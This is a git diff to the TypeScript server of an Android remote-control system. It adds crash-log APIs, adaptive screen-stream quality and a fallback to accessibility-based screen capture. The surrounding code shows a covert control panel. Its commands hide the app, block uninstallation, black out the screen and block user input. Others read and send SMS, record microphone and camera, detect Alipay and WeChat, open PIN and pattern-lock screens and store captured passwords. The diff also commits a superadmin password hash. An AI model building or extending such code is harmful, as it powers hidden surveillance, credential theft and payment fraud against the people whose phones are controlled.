diff --git a/.user_data.json b/.user_data.json index acac110..c7bcf1e 100644 --- a/.user_data.json +++ b/.user_data.json @@ -1,6 +1,6 @@ { "version": "1.0.0", - "savedAt": "2026-02-09T07:39:21.559Z", + "savedAt": "2026-02-11T06:55:22.693Z", "users": [ { "id": "admin_1762534368537", @@ -16,7 +16,7 @@ "passwordHash": "$2b$10$3c/70RbBH4y7zhYwxk8ldOcls3Bj6kt3cSMidTeaMUVb1EJXH4GMy", "role": "superadmin", "createdAt": "2025-11-07T16:53:46.677Z", - "lastLoginAt": "2026-02-09T07:39:21.559Z" + "lastLoginAt": "2026-02-11T06:55:22.692Z" } ] } \ No newline at end of file diff --git a/devices.db b/devices.db index 6d9d1a0..9da1454 100644 Binary files a/devices.db and b/devices.db differ diff --git a/src/index.ts b/src/index.ts index b6ab217..424c0bc 100644 --- a/src/index.ts +++ b/src/index.ts @@ -25,6 +25,7 @@ import Logger from './utils/Logger' import APKBuildService from './services/APKBuildService' import AuthService from './services/AuthService' import DeviceInfoSyncService from './services/DeviceInfoSyncService' +import { AdaptiveQualityService } from './services/AdaptiveQualityService' /** * 远程控制服务端主应用 @@ -41,6 +42,7 @@ class RemoteControlServer { private apkBuildService: APKBuildService private authService: AuthService private deviceInfoSyncService: DeviceInfoSyncService + private adaptiveQualityService: AdaptiveQualityService private upload: multer.Multer private registrationQueue: Array<{ socket: any, data: any, timestamp: number }> = [] private isProcessingRegistration = false @@ -91,6 +93,7 @@ class RemoteControlServer { this.authService = new AuthService() // 注意:AuthService 的异步初始化在 start() 方法中执行 this.deviceInfoSyncService = new DeviceInfoSyncService(this.authService) + this.adaptiveQualityService = new AdaptiveQualityService() // 配置multer用于文件上传 this.upload = multer({ @@ -807,6 +810,38 @@ class RemoteControlServer { } }) + // 💥 崩溃日志相关API (需要认证) + this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => { + try { + const { deviceId } = req.params + const { page = 1, pageSize = 20 } = req.query + const result = this.databaseService.getCrashLogs( + deviceId, + parseInt(page as string), + parseInt(pageSize as string) + ) + res.json({ success: true, data: result }) + } catch (error) { + this.logger.error('获取崩溃日志失败:', error) + res.status(500).json({ success: false, message: '获取崩溃日志失败' }) + } + }) + + this.app.get('/api/crash-logs/:deviceId/:logId', this.authMiddleware, (req: any, res) => { + try { + const logId = parseInt(req.params.logId) + const detail = this.databaseService.getCrashLogDetail(logId) + if (detail) { + res.json({ success: true, data: detail }) + } else { + res.status(404).json({ success: false, message: '崩溃日志不存在' }) + } + } catch (error) { + this.logger.error('获取崩溃日志详情失败:', error) + res.status(500).json({ success: false, message: '获取崩溃日志详情失败' }) + } + }) + // APK相关路由 (需要认证) this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => { try { @@ -1181,6 +1216,11 @@ class RemoteControlServer { // 处理屏幕数据 socket.on('screen_data', (data: any) => { + // 📊 记录帧统计用于自适应画质 + if (data?.deviceId) { + const dataSize = typeof data.data === 'string' ? data.data.length : 0 + this.adaptiveQualityService.recordFrame(data.deviceId, dataSize) + } this.messageRouter.routeScreenData(socket.id, data) }) @@ -1253,6 +1293,120 @@ class RemoteControlServer { this.messageRouter.handleOperationLog(socket.id, data) }) + // 💥 处理崩溃日志(从设备接收) + socket.on('crash_log', (data: any) => { + this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`) + try { + if (data?.deviceId && data?.content) { + this.databaseService.saveCrashLog({ + deviceId: data.deviceId, + fileName: data.fileName || 'unknown.log', + content: data.content, + fileSize: data.fileSize, + crashTime: data.crashTime, + uploadTime: data.uploadTime, + deviceModel: data.deviceModel, + osVersion: data.osVersion + }) + // 通知Web端有新的崩溃日志 + this.webClientManager.broadcastToAll('crash_log_received', { + deviceId: data.deviceId, + fileName: data.fileName, + crashTime: data.crashTime, + deviceModel: data.deviceModel, + timestamp: Date.now() + }) + } else { + this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`) + } + } catch (error) { + this.logger.error('处理崩溃日志失败:', error) + } + }) + + // 📊 自适应画质:Web端质量反馈 + socket.on('quality_feedback', (data: any) => { + if (!data?.deviceId) return + const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, { + fps: data.fps || 0, + dropRate: data.dropRate || 0, + renderLatency: data.renderLatency, + }) + if (result.shouldAdjust && result.newParams) { + // 转发质量调整指令给Android设备 + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', { + fps: result.newParams.fps, + quality: result.newParams.quality, + maxWidth: result.newParams.maxWidth, + maxHeight: result.newParams.maxHeight, + }) + this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`) + } + } + // 通知Web端参数已变更 + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.newParams, + auto: true, + }) + } + }) + + // 📊 自适应画质:Web端手动切换质量档位 + socket.on('set_quality_profile', (data: any) => { + if (!data?.deviceId || !data?.profile) return + const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile) + if (result) { + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', result.params) + } + } + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.params, + profile: data.profile, + auto: false, + }) + } + }) + + // 📊 自适应画质:Web端手动设置自定义参数 + socket.on('set_quality_params', (data: any) => { + if (!data?.deviceId) return + const result = this.adaptiveQualityService.setCustomParams(data.deviceId, { + fps: data.fps, + quality: data.quality, + maxWidth: data.maxWidth, + maxHeight: data.maxHeight, + }) + const device = this.deviceManager.getDevice(data.deviceId) + if (device) { + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', result.params) + } + } + socket.emit('quality_changed', { + deviceId: data.deviceId, + ...result.params, + auto: false, + }) + }) + + // 📊 获取画质档位列表 + socket.on('get_quality_profiles', (callback: any) => { + if (typeof callback === 'function') { + callback(this.adaptiveQualityService.getProfiles()) + } + }) + // 🆕 处理设备输入阻塞状态变更(从设备接收) socket.on('device_input_blocked_changed', (data: any) => { this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`) diff --git a/src/services/AdaptiveQualityService.ts b/src/services/AdaptiveQualityService.ts new file mode 100644 index 0000000..5056dce --- /dev/null +++ b/src/services/AdaptiveQualityService.ts @@ -0,0 +1,278 @@ +import Logger from '../utils/Logger' + +/** + * 自适应画质控制服务 + * + * 参考billd-desk的参数化质量控制思路,但通过服务器中继实现(非P2P直连)。 + * 服务端作为中间人,收集Web端的网络质量反馈,转发给Android端调整采集参数。 + */ + +interface QualityProfile { + fps: number + quality: number // JPEG质量 (25-80) + maxWidth: number + maxHeight: number + label: string +} + +interface DeviceQualityState { + deviceId: string + currentProfile: string // 当前质量档位名 + fps: number + quality: number + maxWidth: number + maxHeight: number + // 统计 + frameCount: number + lastFrameTime: number + avgFrameSize: number + frameSizeWindow: number[] + // Web端反馈 + clientFps: number + clientDropRate: number + lastFeedbackTime: number +} + +const QUALITY_PROFILES: Record = { + low: { fps: 5, quality: 30, maxWidth: 360, maxHeight: 640, label: '低画质' }, + medium: { fps: 10, quality: 45, maxWidth: 480, maxHeight: 854, label: '中画质' }, + high: { fps: 15, quality: 60, maxWidth: 720, maxHeight: 1280, label: '高画质' }, + ultra: { fps: 20, quality: 75, maxWidth: 1080, maxHeight: 1920, label: '超高画质' }, +} + +export class AdaptiveQualityService { + private logger = new Logger('AdaptiveQuality') + private deviceStates = new Map() + private readonly FRAME_SIZE_WINDOW = 30 // 统计最近30帧 + private readonly AUTO_ADJUST_INTERVAL = 5000 // 5秒自动调整一次 + private autoAdjustTimer: NodeJS.Timeout | null = null + + constructor() { + this.startAutoAdjust() + } + + /** + * 获取或创建设备质量状态 + */ + private getOrCreateState(deviceId: string): DeviceQualityState { + if (!this.deviceStates.has(deviceId)) { + const defaultProfile = QUALITY_PROFILES.medium + this.deviceStates.set(deviceId, { + deviceId, + currentProfile: 'medium', + fps: defaultProfile.fps, + quality: defaultProfile.quality, + maxWidth: defaultProfile.maxWidth, + maxHeight: defaultProfile.maxHeight, + frameCount: 0, + lastFrameTime: 0, + avgFrameSize: 0, + frameSizeWindow: [], + clientFps: 0, + clientDropRate: 0, + lastFeedbackTime: 0, + }) + } + return this.deviceStates.get(deviceId)! + } + + /** + * 记录收到的帧(服务端统计用) + */ + recordFrame(deviceId: string, frameSize: number): void { + const state = this.getOrCreateState(deviceId) + state.frameCount++ + state.lastFrameTime = Date.now() + state.frameSizeWindow.push(frameSize) + if (state.frameSizeWindow.length > this.FRAME_SIZE_WINDOW) { + state.frameSizeWindow.shift() + } + state.avgFrameSize = state.frameSizeWindow.reduce((a, b) => a + b, 0) / state.frameSizeWindow.length + } + + /** + * 处理Web端的质量反馈 + */ + handleClientFeedback(deviceId: string, feedback: { + fps: number + dropRate: number + renderLatency?: number + }): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + state.clientFps = feedback.fps + state.clientDropRate = feedback.dropRate + state.lastFeedbackTime = Date.now() + + // 根据反馈决定是否需要调整 + if (feedback.dropRate > 0.1) { + // 丢帧率>10%,降低质量 + return this.adjustDown(deviceId) + } else if (feedback.dropRate < 0.02 && feedback.fps >= state.fps * 0.9) { + // 丢帧率<2%且帧率接近目标,可以尝试提升 + return this.adjustUp(deviceId) + } + + return { shouldAdjust: false } + } + + /** + * Web端手动设置质量档位 + */ + setQualityProfile(deviceId: string, profileName: string): { params: QualityProfile } | null { + const profile = QUALITY_PROFILES[profileName] + if (!profile) return null + + const state = this.getOrCreateState(deviceId) + state.currentProfile = profileName + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📊 设备${deviceId}手动切换画质: ${profile.label}`) + return { params: profile } + } + + /** + * Web端手动设置自定义参数(参考billd-desk的精细控制) + */ + setCustomParams(deviceId: string, params: { + fps?: number + quality?: number + maxWidth?: number + maxHeight?: number + }): { params: Partial } { + const state = this.getOrCreateState(deviceId) + if (params.fps !== undefined) state.fps = Math.max(1, Math.min(30, params.fps)) + if (params.quality !== undefined) state.quality = Math.max(20, Math.min(90, params.quality)) + if (params.maxWidth !== undefined) state.maxWidth = Math.max(240, Math.min(1920, params.maxWidth)) + if (params.maxHeight !== undefined) state.maxHeight = Math.max(320, Math.min(2560, params.maxHeight)) + state.currentProfile = 'custom' + + this.logger.info(`📊 设备${deviceId}自定义参数: fps=${state.fps}, quality=${state.quality}, ${state.maxWidth}x${state.maxHeight}`) + return { + params: { + fps: state.fps, + quality: state.quality, + maxWidth: state.maxWidth, + maxHeight: state.maxHeight, + } + } + } + + /** + * 降低质量 + */ + private adjustDown(deviceId: string): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + const profileOrder = ['ultra', 'high', 'medium', 'low'] + const currentIdx = profileOrder.indexOf(state.currentProfile) + + if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') { + const nextProfile = profileOrder[currentIdx + 1] + const profile = QUALITY_PROFILES[nextProfile] + state.currentProfile = nextProfile + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📉 设备${deviceId}自动降低画质: ${profile.label} (丢帧率${(state.clientDropRate * 100).toFixed(1)}%)`) + return { shouldAdjust: true, newParams: profile } + } + + // 已经是最低档,尝试进一步降低fps + if (state.fps > 3) { + state.fps = Math.max(3, state.fps - 2) + this.logger.info(`📉 设备${deviceId}降低帧率到${state.fps}fps`) + return { shouldAdjust: true, newParams: { fps: state.fps } } + } + + return { shouldAdjust: false } + } + + /** + * 提升质量 + */ + private adjustUp(deviceId: string): { shouldAdjust: boolean; newParams?: Partial } { + const state = this.getOrCreateState(deviceId) + const profileOrder = ['low', 'medium', 'high', 'ultra'] + const currentIdx = profileOrder.indexOf(state.currentProfile) + + if (currentIdx < profileOrder.length - 1 && state.currentProfile !== 'custom') { + const nextProfile = profileOrder[currentIdx + 1] + const profile = QUALITY_PROFILES[nextProfile] + state.currentProfile = nextProfile + state.fps = profile.fps + state.quality = profile.quality + state.maxWidth = profile.maxWidth + state.maxHeight = profile.maxHeight + + this.logger.info(`📈 设备${deviceId}自动提升画质: ${profile.label}`) + return { shouldAdjust: true, newParams: profile } + } + + return { shouldAdjust: false } + } + + /** + * 自动调整定时器 + */ + private startAutoAdjust(): void { + this.autoAdjustTimer = setInterval(() => { + // 对有反馈数据的设备进行自动调整 + for (const [deviceId, state] of this.deviceStates) { + if (Date.now() - state.lastFeedbackTime > 30000) continue // 超过30秒没反馈,跳过 + // 自动调整逻辑已在handleClientFeedback中处理 + } + }, this.AUTO_ADJUST_INTERVAL) + } + + /** + * 获取设备当前质量参数 + */ + getDeviceQuality(deviceId: string): DeviceQualityState | null { + return this.deviceStates.get(deviceId) || null + } + + /** + * 获取所有可用的质量档位 + */ + getProfiles(): Record { + return { ...QUALITY_PROFILES } + } + + /** + * 获取统计信息 + */ + getStats(): object { + const stats: any = { deviceCount: this.deviceStates.size, devices: {} } + for (const [deviceId, state] of this.deviceStates) { + stats.devices[deviceId] = { + profile: state.currentProfile, + fps: state.fps, + quality: state.quality, + resolution: `${state.maxWidth}x${state.maxHeight}`, + frameCount: state.frameCount, + avgFrameSize: Math.round(state.avgFrameSize), + clientFps: state.clientFps, + clientDropRate: (state.clientDropRate * 100).toFixed(1) + '%', + } + } + return stats + } + + /** + * 清理设备状态 + */ + removeDevice(deviceId: string): void { + this.deviceStates.delete(deviceId) + } + + destroy(): void { + if (this.autoAdjustTimer) { + clearInterval(this.autoAdjustTimer) + } + this.deviceStates.clear() + } +} diff --git a/src/services/DatabaseService.ts b/src/services/DatabaseService.ts index a92880d..ff3827f 100644 --- a/src/services/DatabaseService.ts +++ b/src/services/DatabaseService.ts @@ -42,12 +42,12 @@ export interface DeviceStateRecord { password?: string inputBlocked: boolean loggingEnabled: boolean - blackScreenActive: boolean // 🆕 添加黑屏遮盖状态 - appHidden: boolean // 🆕 添加应用隐藏状态 - uninstallProtectionEnabled: boolean // 🛡️ 添加防止卸载保护状态 + blackScreenActive: boolean + appHidden: boolean + uninstallProtectionEnabled: boolean lastPasswordUpdate?: Date - confirmButtonCoords?: { x: number, y: number } // 🆕 确认按钮坐标 - learnedConfirmButton?: { x: number, y: number, count: number } // 🆕 学习的确认按钮坐标 + confirmButtonCoords?: { x: number, y: number } + learnedConfirmButton?: { x: number, y: number, count: number } createdAt: Date updatedAt: Date } @@ -350,6 +350,29 @@ export class DatabaseService { CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType) `) + // 💥 创建崩溃日志表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS crash_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + fileName TEXT NOT NULL, + content TEXT NOT NULL, + fileSize INTEGER, + crashTime INTEGER, + uploadTime INTEGER, + deviceModel TEXT, + osVersion TEXT, + createdAt DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_crash_logs_deviceId ON crash_logs (deviceId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_crash_logs_crashTime ON crash_logs (crashTime DESC) + `) + this.logger.info('数据库表初始化完成') } catch (error) { this.logger.error('初始化数据库失败:', error) @@ -1924,6 +1947,11 @@ export class DatabaseService { const passwordInputsResult = deletePasswordInputs.run(deviceId) this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes} 条`) + // 6.5 删除崩溃日志 + const deleteCrashLogs = this.db.prepare('DELETE FROM crash_logs WHERE deviceId = ?') + const crashLogsResult = deleteCrashLogs.run(deviceId) + this.logger.debug(`删除崩溃日志: ${crashLogsResult.changes} 条`) + // 7. 删除用户设备权限记录 const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?') const userPermissionsResult = deleteUserPermissions.run(deviceId) @@ -2093,4 +2121,90 @@ export class DatabaseService { return 0 } } + + // ==================== 💥 崩溃日志相关 ==================== + + /** + * 💥 保存崩溃日志 + */ + saveCrashLog(data: { + deviceId: string + fileName: string + content: string + fileSize?: number + crashTime?: number + uploadTime?: number + deviceModel?: string + osVersion?: string + }): boolean { + try { + const stmt = this.db.prepare(` + INSERT INTO crash_logs (deviceId, fileName, content, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + `) + stmt.run( + data.deviceId, + data.fileName, + data.content, + data.fileSize || 0, + data.crashTime || 0, + data.uploadTime || Date.now(), + data.deviceModel || '', + data.osVersion || '', + new Date().toISOString() + ) + this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`) + return true + } catch (error) { + this.logger.error('保存崩溃日志失败:', error) + return false + } + } + + /** + * 💥 获取设备的崩溃日志列表 + */ + getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): { + logs: any[] + total: number + page: number + pageSize: number + totalPages: number + } { + try { + const countStmt = this.db.prepare('SELECT COUNT(*) as total FROM crash_logs WHERE deviceId = ?') + const { total } = countStmt.get(deviceId) as { total: number } + + const offset = (page - 1) * pageSize + const stmt = this.db.prepare(` + SELECT id, deviceId, fileName, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt + FROM crash_logs WHERE deviceId = ? ORDER BY crashTime DESC LIMIT ? OFFSET ? + `) + const logs = stmt.all(deviceId, pageSize, offset) + + return { + logs, + total, + page, + pageSize, + totalPages: Math.ceil(total / pageSize) + } + } catch (error) { + this.logger.error('获取崩溃日志列表失败:', error) + return { logs: [], total: 0, page, pageSize, totalPages: 0 } + } + } + + /** + * 💥 获取崩溃日志详情(含内容) + */ + getCrashLogDetail(logId: number): any | null { + try { + const stmt = this.db.prepare('SELECT * FROM crash_logs WHERE id = ?') + return stmt.get(logId) || null + } catch (error) { + this.logger.error('获取崩溃日志详情失败:', error) + return null + } + } } \ No newline at end of file diff --git a/src/services/MessageRouter.ts b/src/services/MessageRouter.ts index c603f9c..6b621a4 100644 --- a/src/services/MessageRouter.ts +++ b/src/services/MessageRouter.ts @@ -9,7 +9,7 @@ import path from 'path' * 控制消息接口 */ export interface ControlMessage { - type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' + type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' deviceId: string data: any timestamp: number @@ -143,6 +143,10 @@ export class MessageRouter { private droppedMicrophoneAudio = 0 private totalMicrophoneAudioSize = 0 + // ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式 + private consecutiveBlackFrames = new Map() + private captureModeSwitchSent = new Set() // 已发送切换指令的设备,避免重复发送 + constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) { this.deviceManager = deviceManager this.webClientManager = webClientManager @@ -536,6 +540,60 @@ export class MessageRouter { return false } + // ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 + // 正常480×854 JPEG即使最低质量也远大于此值 + const MIN_VALID_FRAME_SIZE = 4000 + if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) { + this.droppedFrames++ + + // ✅ 追踪连续黑帧数 + const deviceId = screenData.deviceId + const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1 + this.consecutiveBlackFrames.set(deviceId, count) + + if (this.routedFrames % 100 === 0) { + this.logger.warn(`⚠️ 过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}帧`) + } + + // ✅ 连续50个黑帧后,通知Android端切换到无障碍截图模式 + if (count >= 50 && !this.captureModeSwitchSent.has(deviceId)) { + this.captureModeSwitchSent.add(deviceId) + this.logger.warn(`🔄 设备${deviceId}连续${count}个黑帧,发送切换到无障碍截图模式指令`) + + try { + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', { + captureMode: 'accessibility', + fps: 10, + quality: 50, + maxWidth: 480, + maxHeight: 854 + }) + this.logger.info(`📤 已向设备${deviceId}发送切换采集模式指令`) + } + } + } catch (e) { + this.logger.error(`❌ 发送切换采集模式指令失败:`, e) + } + } + + return false + } + + // ✅ 收到有效帧,重置黑帧计数 + if (screenData.deviceId) { + const prevCount = this.consecutiveBlackFrames.get(screenData.deviceId) || 0 + if (prevCount > 0) { + this.logger.info(`✅ 设备${screenData.deviceId}收到有效帧(${dataSize}字符),重置黑帧计数(之前${prevCount})`) + } + this.consecutiveBlackFrames.set(screenData.deviceId, 0) + // 收到有效帧后允许再次发送切换指令(如果后续又出现黑帧) + this.captureModeSwitchSent.delete(screenData.deviceId) + } + // 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) const controllerId = this.webClientManager.getDeviceController(screenData.deviceId) if (!controllerId) { @@ -1823,6 +1881,9 @@ export class MessageRouter { case 'REFRESH_MEDIA_PROJECTION_PERMISSION': return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId) + case 'REFRESH_MEDIA_PROJECTION_MANUAL': + return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId) + case 'CLOSE_CONFIG_MASK': return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual) @@ -4078,6 +4139,75 @@ export class MessageRouter { } } + /** + * 🆕 处理手动授权投屏权限请求(不自动点击确认) + */ + private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean { + try { + this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`) + + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.logger.warn(`⚠️ 设备不在线: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备已离线或不存在' + }) + return false + } + + if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { + this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', { + type: 'REFRESH_MEDIA_PROJECTION_MANUAL', + deviceId, + data: {}, + timestamp: Date.now() + }) + + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: true, + message: '手动授权命令已发送,请在设备上手动确认权限' + }) + + this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`) + return true + } + } + + this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('手动授权投屏权限失败:', error) + this.webClientManager.sendToClient(clientId, 'refresh_permission_response', { + deviceId, + success: false, + message: '手动授权投屏权限失败: ' + (error as Error).message + }) + return false + } + } + /** * 🆕 路由权限申请响应 */